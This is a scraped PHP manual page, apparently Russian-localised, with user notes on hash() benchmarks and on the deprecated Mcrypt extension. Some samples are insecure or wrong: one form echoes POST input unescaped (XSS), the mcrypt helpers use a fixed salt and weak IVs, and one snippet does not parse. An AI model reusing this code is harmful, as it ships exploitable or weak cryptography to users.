I haven't done any test or actual study (I'm using crc32 and storing it in mysql signed int types), but if your algorithm of choice is bigger them the supported integer of your database I suppose it is possible that the raw_format option is the best option to store directly in the database without type casting demands for it results in a binary string value.

To check if your algorithm of choice have the supported integer size in your database just strlen the raw_format output and see how many bytes it have (for example: crc32 have 4 bytes output, sha256 have 32 e md5 possue 16).

<?php
var_dump(strlen(hash('md5', 'string to check', true))); // int(16)
?>

PS: You can always use floating points to store a very big number but for "common humans" binary types by and large are easier to check, understand and maintain, so i recommend to use binary, but if you are about speed them floating point could be your friend.

PS: remembering ... without the raw_format the returned value are hexadecimal values without the 'Hx' complement, so to transform the result into a decimal just hexdec as shown ...

<?php
var_dump(hexdec(hash('crc32b', 'string to check'))); // int(1206832624)
?>

PS: Just registering ... I have noticed here some tests where 'crc32' is slower than md5, AFAIK by definition a CRC32 algorithm (there are several algorithms to calculate CRC32) is faster than MD5 and Adler-32 is faster than CRC32 (CRC32 is more consistent than Adler-32, less consistent than MD5, but if you want to safely validate the recommended would be SHA256 or better yet SHA512 because they are less likely to collide, so less vulnerable to collision attacks)
jrz [dot] agarcia [at] gmail [dot] com 31-May-2018 07:22
I was curious about hashes behavior (time and length), so i ran this code (yeah, I'm cheating because i took two examples from this page)
<?php
  echo "Building data...";
  $data = "";
  for($i = 0; $i < 1500; $i++)
    $data .= sha1("H:k - $i - k:H");

  echo "OK! (".strlen($data)." bytes)".PHP_EOL;

  $res = [];

  echo "Testing hashes.....".PHP_EOL;

  foreach (hash_algos() as $algo) {
    $time = microtime(1);
    $hash = hash($algo, $data);
    $time = (microtime(1) - $time) * 1000;
    $length = strlen($hash);

    $res["$time"][] = [
      "algo"   => "HEX-$algo",
      "length" => "$length",
      "time"   => sprintf("%.8f", $time)
    ];

    $time = microtime(1);
    hash($algo, $data, 1);
    $time = (microtime(1) - $time) * 1000;

    $res["$time"][] = [
      "algo"   => "RAW-$algo",
      "length" => "$length",
      "time"   => sprintf("%.8f", $time)
    ];
  }

  ksort($res);
  $i = 0;

  echo "Results:".PHP_EOL;
  echo "Posit.      Time in ms   Type-Hash algo        Hash length".PHP_EOL;

  foreach($res as $sres){
    foreach($sres as $result){
      echo sprintf("%5d. %12s ms    %-20s %-2d bytes", $i++, $result['time'], $result['algo'], $result['length']).PHP_EOL;
    }
  }
?>

I found interesting that today (may 31, 2018), I found 103 algos, 65 more than 9 years ago (based on this comment: https://secure.php.net/manual/en/function.hash.php#89574 )

Also, here is my results: https://ideone.com/embed/0iwuGn

I'm not posting here due to message length limitations.
Hayley Watson 12-Jul-2017 12:13
These are hash functions. Some have been designed to act as signatures for documents, while others are simply act as checks that transmitted data hasn't been damaged or otherwise modified during transmission and don't provide any cryptographic features.

Learn their differences, and use what's appropriate, because using the wrong hash function can be worse than not using one at all.
Hayley Watson 11-Jul-2017 11:58
Of the hash algorithms currently available, SHA3 was chosen by NIST from fifty-one submitted candidates and subsequently mandated by the U.S. Department of Commerce for Federal Government use.

http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.202.pdf

So if you're wanting to select a hash algorithm, you can consider SHA3 to be "good enough for government work".
Nicolas Pamart 02-Jan-2015 12:47
Be carreful ! SHA256 return plain text string for empty field !!! empty function will not work ! Make a test before hash your POST.
buar42 at gmail dot com 29-Sep-2013 08:45
I made a PHP script that will let you sort all the available hashes on your system by generation time or by the length of the hash. It shows a general correlation on my system (longer hashes take longer to calculate) but some are faster than others, for example, sha512 makes the (joint) longest hash, but is actually only ninth slowest (from 43 hashes available on my machine)

As I understand it, the strength of a hash is dependant on the number of collisions that it has (where two input values produce the same hash) so with an infinite number of input values but a finite number of hashes, there are a (theoretically) infinite number of collisions. But, if you have a longer hash, then you're dividing infinity by a larger number, so you'll have fewer collisions.

In reality the number of collisions will be limited by the minimum and maximum password lengths that you choose to allow, so that if you enforce a policy where passwords must be exactly a certain length (20 characters for example) you'll have a large number of unique passwords, but a smaller number of potential inputs than you have hashes coming out, so that should prevent collisions entirely. In theory.

Tl;dr: I think that longer hashes are better.

Anyway, here's the code:
<?php

$data = "hello";

foreach (hash_algos() as $v)
 {
  $time=microtime(1);
  for ($i = 0; $i < 10000; $i++)
   {
    $r[$v] = strlen(hash($v, $data.$i, false));
   }
  $t[$v] = microtime(1)-$time;
 }

switch ($_GET['sort'])
 {
  default:
   ksort ($r);
   $array = 'r';
   break;
  case 'length':
   asort ($r);
   $array = 'r';
   break;
  case 'time':
   asort ($t);
   $array = 't';
   break;
 }

echo '<pre>        <a href="?sort=alph">Name</a>        | <a href="?sort=length">Hash Length</a> | <a href="?sort=time">Time taken for 10000 hashes.</a>'."\n";
foreach ($$array as $key => $value)
 {
  echo $key;
  for ($i = strlen ($key); $i <= 19; $i++)
   {
    echo ' ';
   }
  echo '| '.$r[$key];
  for ($i = strlen ($r[$key]); $i <= 11; $i++)
   {
    echo ' ';
   }
  echo '| '.$t[$key]."\n";
 }

echo '</pre>';

?>
me at akshayjoshi dot com 22-Mar-2013 03:00
Using luka8088 at gmail dot com's code on my laptop (PHP 5.4.4 on OS X), showing fastest 50 algorithms only:

Results:
   1.  adler32 (raw)                 3340.959 microseconds
   2.  adler32 (hex)                 3345.012 microseconds
   3.  fnv132 (raw)                  5178.928 microseconds
   4.  fnv164 (hex)                  5193.948 microseconds
   5.  md4 (raw)                     5207.061 microseconds
   6.  fnv132 (hex)                  5248.069 microseconds
   7.  fnv164 (raw)                  5290.985 microseconds
   8.  md4 (hex)                     5333.9 microseconds
   9.  tiger160,3 (raw)              5499.124 microseconds
  10.  tiger128,3 (hex)              5549.907 microseconds
  11.  tiger192,3 (raw)              5578.994 microseconds
  12.  tiger192,3 (hex)              5687.952 microseconds
  13.  tiger160,3 (hex)              5755.186 microseconds
  14.  tiger128,3 (raw)              5775.928 microseconds
  15.  crc32b (raw)                  6839.036 microseconds
  16.  crc32 (raw)                   6983.995 microseconds
  17.  crc32 (hex)                   7061.004 microseconds
  18.  crc32b (hex)                  7097.005 microseconds
  19.  joaat (raw)                   7505.893 microseconds
  20.  tiger160,4 (raw)              7548.093 microseconds
  21.  joaat (hex)                   7570.028 microseconds
  22.  tiger192,4 (raw)              7591.009 microseconds
  23.  tiger160,4 (hex)              7630.825 microseconds
  24.  tiger128,4 (hex)              7750.034 microseconds
  25.  tiger128,4 (raw)              7750.988 microseconds
  26.  sha1 (raw)                    8049.964 microseconds
  27.  tiger192,4 (hex)              8301.019 microseconds
  28.  haval128,3 (raw)              9046.792 microseconds
  29.  haval192,3 (raw)              9313.106 microseconds
  30.  haval224,3 (raw)              9315.013 microseconds
  31.  haval160,3 (raw)              9329.795 microseconds
  32.  haval256,3 (raw)              9404.182 microseconds
  33.  haval160,3 (hex)              9521.007 microseconds
  34.  md5 (raw)                     9599.924 microseconds
  35.  haval128,3 (hex)              9603.023 microseconds
  36.  haval192,3 (hex)              9624.004 microseconds
  37.  haval256,3 (hex)              9635.925 microseconds
  38.  haval224,3 (hex)              9652.853 microseconds
  39.  md5 (hex)                     9654.045 microseconds
  40.  haval256,4 (raw)              12173.891 microseconds
  41.  haval160,4 (raw)              12346.982 microseconds
  42.  haval256,4 (hex)              12598.037 microseconds
  43.  haval224,4 (hex)              12600.898 microseconds
  44.  haval128,4 (raw)              12680.053 microseconds
  45.  sha512 (raw)                  12681.961 microseconds
  46.  haval160,4 (hex)              12733.936 microseconds
  47.  sha384 (raw)                  12766.122 microseconds
  48.  haval192,4 (hex)              12813.091 microseconds
  49.  haval192,4 (raw)              12818.098 microseconds
  50.  haval128,4 (hex)              12836.933 microseconds

It seems that the adler32 algorithm has gotten a lot faster.
sneskid at hotmail dot com 14-Mar-2012 09:32
On two different servers I found that crc32() relates to hash('crc32b',)
This may be good to know if you are writing a crc32_file function based on hash_file.
(The example does not compensate for negative crc32 results)
<?php
$val = 'hello';
var_dump(crc32($val) == ( '0x' . hash('crc32b', $val) ) ); // bool(true)
var_dump(crc32($val) == ( '0x' . hash('crc32', $val) ) ); // bool(false)
?>

Also if you are looking for a way to reduce collisions and still keep the hash result small (smaller than say md5) you could get a nice database friendly 64 bit value by using hash/crc32 and hash/crc32b, which is slower than a single md5 but the result may be more suitable for certain tasks.
<?php
$val = 'hello';
$crc64 = ( '0x' . hash('crc32', $val) . hash('crc32b', $val) ) );
var_dump($crc64); // string(18) "0x3d6531193610a686"
var_dump($crc64 + 0); // int(4423996193312384646)
?>

(examples tested on php 5.2.17)
note: ('0x' . $hex . + 0) is faster than base_convert($hex,16,10)
nmmm at nmmm dot nu 20-Jul-2011 01:50
I was interested how "long" each hash is, so I did:

<?php
$data = "hello";

foreach (hash_algos() as $v) {
        $r = hash($v, $data, false);
        printf("%-12s %3d %s\n", $v, strlen($r), $r);
}
?>

which produce (long hashes are cropped)

md2           32 a9046c73e00331af68917d3804f70655
md4           32 866437cb7a794bce2b727acc0362ee27
md5           32 5d41402abc4b2a76b9719d911017c592
sha1          40 aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d
sha256        64 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e730
sha384        96 59e1748777448c69de6b800d7a33bbfb9ff1b463e44354c3553
sha512       128 9b71d224bd62f3785d96d46ad3ea3d73319bfbc2890caadae2d
ripemd128     32 789d569f08ed7055e94b4289a4195012
ripemd160     40 108f07b8382412612c048d07d13f814118445acd
ripemd256     64 cc1d2594aece0a064b7aed75a57283d9490fd5705ed3d66bf9a
ripemd320     80 eb0cf45114c56a8421fbcb33430fa22e0cd607560a88bbe14ce
whirlpool    128 0a25f55d7308eca6b9567a7ed3bd1b46327f0f1ffdc804dd8bb
tiger128,3    32 a78862336f7ffd2c8a3874f89b1b74f2
tiger160,3    40 a78862336f7ffd2c8a3874f89b1b74f2f27bdbca
tiger192,3    48 a78862336f7ffd2c8a3874f89b1b74f2f27bdbca39660254
tiger128,4    32 1c2a939f230ee5e828f5d0eae5947135
tiger160,4    40 1c2a939f230ee5e828f5d0eae5947135741cd0ae
tiger192,4    48 1c2a939f230ee5e828f5d0eae5947135741cd0aefeeb2adc
snefru        64 7c5f22b1a92d9470efea37ec6ed00b2357a4ce3c41aa6e28e3b
gost          64 a7eb5d08ddf2363f1ea0317a803fcef81d33863c8b2f9f6d7d1
adler32        8 062c0215
crc32          8 3d653119
crc32b         8 3610a686
haval128,3    32 85c3e4fac0ba4d85519978fdc3d1d9be
haval160,3    40 0e53b29ad41cea507a343cdd8b62106864f6b3fe
haval192,3    48 bfaf81218bbb8ee51b600f5088c4b8601558ff56e2de1c4f
haval224,3    56 92d0e3354be5d525616f217660e0f860b5d472a9cb99d6766be
haval256,3    64 26718e4fb05595cb8703a672a8ae91eea071cac5e7426173d4c
haval128,4    32 fe10754e0b31d69d4ece9c7a46e044e5
haval160,4    40 b9afd44b015f8afce44e4e02d8b908ed857afbd1
haval192,4    48 ae73833a09e84691d0214f360ee5027396f12599e3618118
haval224,4    56 e1ad67dc7a5901496b15dab92c2715de4b120af2baf661ecd92
haval256,4    64 2d39577df3a6a63168826b2a10f07a65a676f5776a0772e0a87
haval128,5    32 d20e920d5be9d9d34855accb501d1987
haval160,5    40 dac5e2024bfea142e53d1422b90c9ee2c8187cc6
haval192,5    48 bbb99b1e989ec3174019b20792fd92dd67175c2ff6ce5965
haval224,5    56 aa6551d75e33a9c5cd4141e9a068b1fc7b6d847f85c3ab16295
haval256,5    64 348298791817d5088a6de6c1b6364756d404a50bd64e645035f
rojaro at gmail dot com 15-Sep-2010 08:01
If the given algo parameter contains an algorithm that is not supported, the hash function will return bool(false) and issue a warning.
robert+nospam at robert-gonzalez dot com 17-Jan-2010 04:08
I've recently had the need to look at various hash algorithms and their values of the same string. To make my life a little easier I wrote this little script. It takes a string and runs it through all of the available hash algorithms on your server, outputting them in a clean little HTML table.

-----

<?php
/* Get the posted value of the form if there is one */
$p = empty($_POST['p']) ? null : $_POST['p'];
?>
<html>
<head><title>Hash testing</title></head>
<style type="text/css">
    table {border-collapse: collapse;}
    table, td, th {border: solid 1px #ccc;}
    th {background: #e1e1e1;border-color: #999;}
    td, th {padding: 0.25em;}
    td.algo {font-weight: bold;}
    tr.on td {background: #f0f0f0;}
</style>
<body>
    <h1>String hashing</h1>
    <form method="post" action="<?php echo basename(__FILE__) ?>">
        <p><label for="p">Enter a string to hash:</label><br /><input id="p" type="text" name="p" value="<?php echo $p ?>" /></p>
        <p><input type="submit" name="submit" value="Hash It" /></p>
    </form>

    <?php /* If there is a posted value use it */ ?>
    <?php if ($p): ?>
    <hr />
    <h2>Table of hash values for <em><?php echo $p ?></em> based on algorithm</h2>
    <table>
        <tr>
            <th>Algorithm</th>
            <th>Hashed value of <em><?php echo $p ?></em></th>
        </tr>
        <?php /* Loop through each hash algorithm, colorizing every other row */ ?>
        <?php $on = false; foreach (hash_algos() as $algo): ?>
        <tr<?php if ($on): ?> class="on"<?php endif; ?>>
            <td class="algo"><?php echo $algo ?></td>
            <td class="hash"><?php echo hash($algo, $p) ?></td>
        </tr>
    <?php $on = !$on; endforeach; ?>
    </table>
    <?php endif; ?>
</body>
</html>
Kai Petzke 16-Oct-2009 05:14
The well known hash functions MD5 and SHA1 should be avoided in new applications. Collission attacks against MD5 are well documented in the cryptographics literature and have already been demonstrated in practice. Therefore, MD5 is no longer secure for certain applications.

Collission attacks against SHA1 have also been published, though they still require computing power, which is somewhat out of scope. As computing power increases with time and the attacks are likely to get better, too, attacks against systems relying on SHA1 for security are likely to become feasible within the next few years.

There is no lack of potential alternative hash algorithms, as the many choices for the "algo" argument of PHPs hash() function already suggests. Unfortunately, there is lack of analysis, as to how secure these alternative algorithms are. It is rather safe to assume, though, that the SHA2 family with its most prominent members SHA-256 und SHA-512, is better than SHA1.

When storing password hashes, it is a good idea to prefix a salt to the password before hashing, to avoid the same passwords to hash to the same values and to avoid the use of rainbow tables for password recovery. Unlike suggested in other articles, there is no security advantage in putting the salt in the middle, or even at both the beginning and the end, of the combined salt-password-string.

Rather, there are two other factors, that determine the strength of the salt: Its length and its variability. For example, using the same salt for all passwords is easy to implement, but gives only very little additional security. In particular, if users type the same passwords, they will still hash to the same value!

Therefore, the salt should be random string with at least as many variable bits, as there are bits in the hash result. In the user database, store username, the randomly generated salt for that user, and the result of hashing the salt-password-string. Access authentication is then done by looking up the entry for the user, calculating the hash of the salt found in the database and the password provided by the user, and comparing the result with the one stored in the database.
luka8088 at gmail dot com 14-Mar-2009 03:20
Performance test results on my laptop:
Results are here shorten to fit php web notes ...
This was tested with 1024000 bytes (1000 KB) of random data, md4 always gets the first place, and md2 always get the last place :)

Results: (in microseconds)
   1.  md4                           5307.912
   2.  md5                           6890.058
   3.  crc32b                        7298.946
   4.  crc32                         7561.922
   5.  sha1                          8886.098
   6.  tiger128,3                    11054.992
   7.  haval192,3                    11132.955
   8.  haval224,3                    11160.135
   9.  tiger160,3                    11162.996
  10.  haval160,3                    11242.151
  11.  haval256,3                    11327.981
  12.  tiger192,3                    11630.058
  13.  haval128,3                    11880.874
  14.  tiger192,4                    14776.945
  15.  tiger128,4                    14871.12
  16.  tiger160,4                    14946.937
  17.  haval160,4                    15661.954
  18.  haval192,4                    15717.029
  19.  haval256,4                    15759.944
  20.  adler32                       15796.184
  21.  haval128,4                    15887.022
  22.  haval224,4                    16047.954
  23.  ripemd256                     16245.126
  24.  haval160,5                    17818.927
  25.  haval128,5                    17887.115
  26.  haval224,5                    18085.002
  27.  haval192,5                    18135.07
  28.  haval256,5                    18678.903
  29.  sha256                        19020.08
  30.  ripemd128                     20671.844
  31.  ripemd160                     21853.923
  32.  ripemd320                     22425.889
  33.  sha384                        45102.119
  34.  sha512                        45655.965
  35.  gost                          57237.148
  36.  whirlpool                     64682.96
  37.  snefru                        80352.783
  38.  md2                           705397.844

Code for generating this:
(compatible both with browser and cli mode)

<pre>

<?php

echo 'Building random data ...' . PHP_EOL;
@ob_flush();flush();

$data = '';
for ($i = 0; $i < 64000; $i++)
    $data .= hash('md5', rand(), true);

echo strlen($data) . ' bytes of random data built !' . PHP_EOL . PHP_EOL . 'Testing hash algorithms ...' . PHP_EOL;
@ob_flush();flush();

$results = array();
foreach (hash_algos() as $v) {
    echo $v . PHP_EOL;
    @ob_flush();flush();
    $time = microtime(true);
    hash($v, $data, false);
    $time = microtime(true) - $time;
    $results[$time * 1000000000][] = "$v (hex)";
    $time = microtime(true);
    hash($v, $data, true);
    $time = microtime(true) - $time;
    $results[$time * 1000000000][] = "$v (raw)";
}

ksort($results);

echo PHP_EOL . PHP_EOL . 'Results: ' . PHP_EOL;

$i = 1;
foreach ($results as $k => $v)
    foreach ($v as $k1 => $v1)
        echo ' ' . str_pad($i++ . '.', 4, ' ', STR_PAD_LEFT) . '  ' . str_pad($v1, 30, ' ') . ($k / 1000) . ' microseconds' . PHP_EOL;

?>

</pre>
Leigh 06-Aug-2008 10:10
Just a quick note about these benchmarks and how you should apply them.

If you are hashing passwords etc for security, speed is not your friend. You should use the slowest method.

Slow to hash means slow to crack and will hopefully make generating things like rainbow tables more trouble than it's worth.
inspiration3 at gmail dot com 04-May-2008 08:12
Another comprehensive benchmark script that orders results from best to worst and includes the crc32(), md5() and sha1() standalone functions:

<?php

define('HASH_TIMES', 1000);
define('HASH_DATA', 'The quick brown fox jumped over!'); // 32 bytes

header('Content-Type: text/plain');
echo 'Testing ' . strlen(HASH_DATA) . ' bytes of data over ' . HASH_TIMES . " iterations:\n";

foreach (hash_algos() as $algo) {
    $time = microtime(1);
    for ($i = 0; $i < HASH_TIMES; $i++) hash($algo, HASH_DATA);
    $results[$algo] = microtime(1) - $time;
}

$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) crc32(HASH_DATA); $results['crc32()'] = microtime(1) - $time;
$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) md5(HASH_DATA); $results['md5()'] = microtime(1) - $time;
$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) sha1(HASH_DATA); $results['sha1()'] = microtime(1) - $time;

asort($results, SORT_NUMERIC);
foreach ($results as $algo => $time) echo "\n$time\t$algo";

?>
Marcus 27-Apr-2008 05:15
A upgrade of (dani88elx AT gmail DOT com)'s performance test [from 26-Jun-2007], this time grading them by speed (fastest first) and comparing times between hex and raw data.

<?php
function testAlgos() {
$algos = hash_algos();
$word="This will be crypted by all different algoritms";
$results = array();
foreach($algos as $algo)
{
    $time=microtime(1);
    $data = hash($algo, $word, false);
    $results["".(microtime(1)-$time)][] = "$algo (hex)";
}
foreach($algos as $algo)
{
    $time=microtime(1);
    $data = hash($algo, $word, true);
    $results["".(microtime(1)-$time)][] = "$algo (raw)";
}
ksort($results);
foreach($results as $time => &$algos) {
    echo $time."\n";
    sort($algos);
    foreach($algos as $algo)
        echo "\t".$algo."\n";
}
}
testAlgos();
?>
mikael at webhost3 dot eu 10-Mar-2007 05:34
<?php
$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('md5', 'string');
echo microtime(1)-$time,': hash/md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   md5('string');
echo microtime(1)-$time,': md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('sha1', 'string');
echo microtime(1)-$time,': hash/sha1<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   sha1('string');
echo microtime(1)-$time,': sha1<br>';
?>------------------------<br><?php
$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('md5', $i);
echo microtime(1)-$time,': hash/md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   md5($i);
echo microtime(1)-$time,': md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('sha1', $i);
echo microtime(1)-$time,': hash/sha1<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   sha1($i);
echo microtime(1)-$time,': sha1<br>';
?>
Gives:
0.33311605453491: hash/md5
1.0671429634094: md5
0.383131980896: hash/sha1
1.3252220153809: sha1
------------------------
0.37684988975525: hash/md5
1.1258299350739: md5
0.43960785865784: hash/sha1
1.3876020908356: sha1


Mcrypt

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Шифры Mcrypt
  • Mcrypt
    • mcrypt_create_iv — Создать инициализирующий вектор (Initialization Vector или IV) из случайного источника
    • mcrypt_decrypt — Расшифровывает данные с заданными параметрами
    • mcrypt_enc_get_algorithms_name — Возвращает имя алгоритма
    • mcrypt_enc_get_block_size — Возвращает размер блока алгоритма
    • mcrypt_enc_get_iv_size — Возвращает размер инициализирующего вектора для алгоритма
    • mcrypt_enc_get_key_size — Возвращает максимальную допустимую длину ключа алгоритма
    • mcrypt_enc_get_modes_name — Возвращает имя используемого режима
    • mcrypt_enc_get_supported_key_sizes — Возвращает массив с допустимыми размерами ключа для используемого алгоритма
    • mcrypt_enc_is_block_algorithm_mode — Проверяет, используется ли блочный режим
    • mcrypt_enc_is_block_algorithm — Проверяет, использует ли алгоритм блочные режимы
    • mcrypt_enc_is_block_mode — Проверяет, возвращает ли текущий режим блоки
    • mcrypt_enc_self_test — Запуск самопроверки открытого модуля
    • mcrypt_encrypt — Шифрует текст с заданными параметрами
    • mcrypt_generic_deinit — Эта функция деинициализирует модуль шифрования
    • mcrypt_generic_init — Функция инициализирует все буферы, необходимые для шифрования
    • mcrypt_generic — Функция шифрует данные
    • mcrypt_get_block_size — Возвращает размер блока для указанного шифра
    • mcrypt_get_cipher_name — Получает имя указанного шифра
    • mcrypt_get_iv_size — Возвращает размер инициализирующего вектора для соответствующей комбинации шифра и режима
    • mcrypt_get_key_size — Получить размер ключа заданного шифра
    • mcrypt_list_algorithms — Получить список всех поддерживаемых алгоритмов шифрования
    • mcrypt_list_modes — Получить список всех поддерживаемых режимов шифрования
    • mcrypt_module_close — Закрывает модуль mcrypt
    • mcrypt_module_get_algo_block_size — Возвращает размер блока указанного алгоритма
    • mcrypt_module_get_algo_key_size — Возвращает максимальный размер ключа открытого режима
    • mcrypt_module_get_supported_key_sizes — Возвращает список поддерживаемых размеров ключей для открытого алгоритма
    • mcrypt_module_is_block_algorithm_mode — Проверяет, является ли заданный модуль блочным или нет
    • mcrypt_module_is_block_algorithm — Проверяет, является ли заданный алгоритм блочным или нет
    • mcrypt_module_is_block_mode — Проверить, возвращает ли указанный режим данные блоками или нет
    • mcrypt_module_open — Открывает модуль шифрования с использованием указанных алгоритма и режима
    • mcrypt_module_self_test — Функция запускает самопроверку указанного модуля
    • mdecrypt_generic — Дешифровка данных

User Contributed Notes

zelnaga at gmail dot com 25-Jul-2019 09:02
If you're wanting to use mcrypt on a newer version of PHP where it's been deprecated try the shim for it instead:

https://github.com/phpseclib/mcrypt_compat
nishanth at sintheetaa dot in 05-Apr-2018 10:33
Issue Solved when installing php7.2-mcrypt

I was also facing the same issue. Check this link https://stackoverflow.com/q/48275494/7713811 to get the right solution for installing it in PHP
Kyle T 14-Nov-2017 09:41
This was posted before by another user but has been downvoted. I just wanted to confirm that we suffered massive performance issues related to mcrypt on CentOS (PHP 5.6.32) that are not present in other flavors of Linux.

A sampling of 25,000 encrypts/decrypts takes 4-5x longer when running mcrypt on Centos 7 as compared to Ubuntu. Switching out mcrypt for OpenSSL on Centos will result in a massive increase in performance.

For lower traffic website it can be negligible, but when you start seeing significant traffic/load it will quickly bring down a server.
Daniel Esteve 28-Dec-2016 11:06
The Mcrypt library has been declared DEPRECATED since PHP 7.1, to use in its OpenSSL
simonhf at gmail dot com 23-Jun-2015 11:54
Note that there are severe performance problems with PHP mcrypt on many CentOS versions. Please see this CentOS bug:
http://bugs.centos.org/view.php?id=8954
Anonymous 12-Feb-2012 10:35
These are two simple functions I built for 256-bit encryption/decryption with mcrypt.  I've decided to use MCRYPT_RIJNDAEL_128 because it's AES-compliant, and MCRYPT_MODE_CBC.  (ECB mode is inadequate for many purposes because it does not use an IV.)

This function stores a hash of the data to verify that the data was decrypted successfully, but this could be easily removed if necessary.

<?php
function encrypt($decrypted, $password, $salt='!kQm*fF3pXe1Kbm%9') {
 // Build a 256-bit $key which is a SHA256 hash of $salt and $password.
 $key = hash('SHA256', $salt . $password, true);
 // Build $iv and $iv_base64.  We use a block size of 128 bits (AES compliant) and CBC mode.  (Note: ECB mode is inadequate as IV is not used.)
 srand(); $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC), MCRYPT_RAND);
 if (strlen($iv_base64 = rtrim(base64_encode($iv), '=')) != 22) return false;
 // Encrypt $decrypted and an MD5 of $decrypted using $key.  MD5 is fine to use here because it's just to verify successful decryption.
 $encrypted = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $decrypted . md5($decrypted), MCRYPT_MODE_CBC, $iv));
 // We're done!
 return $iv_base64 . $encrypted;
 }

function decrypt($encrypted, $password, $salt='!kQm*fF3pXe1Kbm%9') {
 // Build a 256-bit $key which is a SHA256 hash of $salt and $password.
 $key = hash('SHA256', $salt . $password, true);
 // Retrieve $iv which is the first 22 characters plus ==, base64_decoded.
 $iv = base64_decode(substr($encrypted, 0, 22) . '==');
 // Remove $iv from $encrypted.
 $encrypted = substr($encrypted, 22);
 // Decrypt the data.  rtrim won't corrupt the data because the last 32 characters are the md5 hash; thus any \0 character has to be padding.
 $decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, base64_decode($encrypted), MCRYPT_MODE_CBC, $iv), "\0\4");
 // Retrieve $hash which is the last 32 characters of $decrypted.
 $hash = substr($decrypted, -32);
 // Remove the last 32 characters from $decrypted.
 $decrypted = substr($decrypted, 0, -32);
 // Integrity check.  If this fails, either the data is corrupted, or the password/salt was incorrect.
 if (md5($decrypted) != $hash) return false;
 // Yay!
 return $decrypted;
 }
?>
ghoffman at salientdigital dot com 23-Nov-2010 01:23
If you want a quick way to see what ciphers, modes, key, block and iv sizes are supported on your server, try something like the following.

Note: I used this simple bash: `locate libmcrypt` from terminal on Mac OS X to determine the install paths to the algorithms and modes directories. Lots of function calls generate warnings for certain ciphers, hence the use of error suppression.

<?php

$modes = mcrypt_list_modes();
$algorithms = mcrypt_list_algorithms();
foreach($algorithms as $cipher)
{
    echo "<h1 style=\"border-top:1px solid black;\">".$cipher."</h1>\n";
    foreach($modes as $mode)
    {
        echo "<h3>".$mode."</h3>\n";
        @$td = mcrypt_module_open(
            $cipher,
            '/usr/local/libmcrypt-2.5.8/modules/algorithms/',
            $mode,
            '/usr/local/libmcrypt-2.5.8/modules/modes/');
        @$key_size = mcrypt_enc_get_key_size($td);
        @$block_size = mcrypt_get_block_size($cipher,$mode);
        @$iv_size = mcrypt_get_iv_size($cipher, $mode);
        @mcrypt_module_close($td);
        echo "
        <pre>
            key_size: ". ($key_size?$key_size:'n/a')
      ."    block_size: ". ($block_size?$block_size:'n/a')
      ."    iv_size: ". ($iv_size?$iv_size:'n/a')
      ."  </pre>\n";
        $td=NULL;
        $key_size=NULL;
        $block_size=NULL;
        $iv_size=NULL;
    }
}

?>
Maarten Malaise 11-Apr-2010 05:38
people using phpmyadmin are redirected to this manual if they don't have mcrypt installed. If you want to install mcrypt on debian, first check your php version:

yourserver# php --version

Then install the appropriate version of mcrypt (php5-mcrypt if your php version is 5.x)

yourserver# apt-get install php4-mcrypt
...or...
yourserver# apt-get install php5-mcrypt


Введение

Внимание

Эта функциональность объявлена УСТАРЕВШЕЙ в PHP 7.1.0 и УДАЛЕНА в PHP 7.2.0.

Есть следующие альтернативы:

  • Sodium (доступен с PHP 7.2.0)
  • OpenSSL

Замечание:

Этот модуль был перемещен в репозиторий » PECL и больше не поставляется с PHP 7.2.0.

Это интерфейс к библиотеке mcrypt, которая поддерживает широкий спектр блочных алгоритмов, таких как DES, TripleDES, Blowfish (по умолчанию), 3-WAY, SAFER-SK64, SAFER-SK128, TWOFISH, TEA, RC2 и GOST с режимами шифрования CBC, OFB, CFB и ECB. Дополнительно поддерживаются RC6 и IDEA, которые являются "не свободными". CFB/OFB по умолчанию 8-битный.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Настройка во время выполнения
  • Типы ресурсов

User Contributed Notes

karan at world dot com 12-Nov-2018 11:41
For PHP-7 UNIX Server use this

sudo apt-get install mcrypt php7.0-mcrypt

sudo service apache2 restart
nishanth at sintheetaa dot in 05-Apr-2018 10:16
Issue Solved when installing php7.2-mcrypt
I was also facing the same issue. Check this link https://stackoverflow.com/q/48275494/7713811
to get the right solution for installing it in PHP
Greg Rundlett 26-Nov-2014 08:05
debian/ubuntu php5 (>= 5.4.0~rc6-1) has introduced two new commands:
php5enmod and php5dismod

# install the extension
sudo apt-get install php5-mcrypt
# you can see that it's installed by the presence of the .ini file
cat /etc/php5/mods-available/mcrypt.ini
# enable it
sudo php5enmod mcrypt
# reload Apache to make use of the extension
sudo service apache2 reload
cguzmana at gmail dot com 06-Oct-2014 08:24
Resolved my problem on Ubuntu 14.04:

$sudo apt-get install php5-mcrypt
$sudo php5enmod mcrypt
info at papoo dot de 11-Mar-2014 01:13
Same Problem on Linux Mint - Call to undefined function mcrypt_create_iv...

Solved by adding the folowing line to the php.ini
extension=mcrypt.so

After that a
service apache2 restart
solved it...

Have fun with it...
Jbud 24-Dec-2013 09:31
The following link solved my problem

[Tue Dec 24 12:42:33.003683 2013] [:error] [pid 8448] [client 127.0.0.1:33146] PHP Fatal error:  Call to undefined function mcrypt_decrypt() ...

http://stackoverflow.com/questions/4809611/problem-with-mcrypt-installation/20208943#20208943
nsantana at NOSPAMS dot gmail dot com 19-Oct-2012 11:21
Using PHP version "PHP Version 5.3.10-1ubuntu3.4" and Ubuntu 12.0.4 on Apache2...

